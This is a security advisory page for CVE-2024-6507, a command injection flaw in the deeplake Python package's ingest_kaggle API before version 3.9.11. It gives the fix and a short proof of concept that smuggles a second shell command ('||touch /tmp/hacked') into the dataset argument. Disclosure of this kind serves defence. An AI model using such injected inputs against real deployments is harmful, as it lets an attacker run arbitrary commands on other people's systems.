Improper Command Injection Affecting deeplake package, versions [,3.9.11)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-DEEPLAKE-7430279
  • published8 Jul 2024
  • disclosed4 Jul 2024
  • creditNatan Nehorai

Introduced: 4 Jul 2024

CVE-2024-6507  (opens in a new tab)
CWE-77  (opens in a new tab)

How to fix?

Upgrade deeplake to version 3.9.11 or higher.

Overview

deeplake is an Activeloop Deep Lake

Affected versions of this package are vulnerable to Improper Command Injection due to a lack of input sanitization in the ingest_kaggle API. An attacker can execute arbitrary commands by sending specially crafted inputs to the API.

PoC


import deeplake

deeplake.ingest_kaggle('some/text||touch /tmp/hacked','/tmp/somepath','./tmp/somepath2',kagg
le_credentials={"username":"mister","key":"john","password":"doe"},overwrite=True)

CVSS Scores

version 4.0
version 3.1